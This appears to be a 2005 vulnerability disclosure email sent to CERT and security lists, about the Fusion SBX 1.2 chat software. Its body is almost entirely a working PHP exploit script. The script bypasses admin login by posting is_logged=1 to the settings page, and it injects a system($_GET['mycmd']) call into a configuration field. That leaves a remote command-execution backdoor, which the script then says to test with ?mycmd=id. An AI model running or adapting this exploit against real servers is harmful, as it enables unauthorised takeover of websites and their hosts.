From: Dave To: cert(at)cert.org Cc: moderators(at)osvdb.org, news(at)securiteam.com Date: Wed, 4 May 2005 23:03:22 -0500 Subject: Fusion SBX 1.2 password bypass and remote command execution YOU */ $host = "localhost"; $path = "/sbx/admin/"; // Starting and trailing slash needed (/sbx/admin/ and such) echo "[+] URL: http://$host$path\n"; $post = "set2=basic&admin_set2=standard&lang2=english&plimit2=10&noname2=Guest&refre sh2=120&maxname2=30%3B%40system%28%24_GET%5Bmycmd%5D%29&maxmess2=120&maxlink 2=120&wordbanning2=1&maxword2=20&wrapstat2=1&postorder2=1&setsubmit=Commit+C hanges&is_logged=1"; // Didn't trim up $post from useless variables such as the submit button, but whatever. $req = "POST $path?settings HTTP/1.0\r\n"; $req .= "Host: $host\r\n"; $req .= "Connection: close\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Content-Length: ".strlen($post)."\r\n\r\n"; $req .= $post; echo "[+] Request built, using:\n$post\nas post data\n"; if($sck = fsockopen($host, 80)) { echo "[+] Connected, sending request\n"; fwrite($sck, $req); echo "[+] Request dumped to server!\n\n\n\n"; // $reply = fread($sck, 1048576); // A megabyte is MORE than enough. // echo "[~] Server replied:\n$reply\n"; // Eh, uncomment if you wish, I just had to debug this script a bit. fclose($sck); echo "Now try http://$host$path?mycmd=id to see if exploit was successful...\n"; } else { echo "[-] Connection failed!\n"; exit(-1); } ?>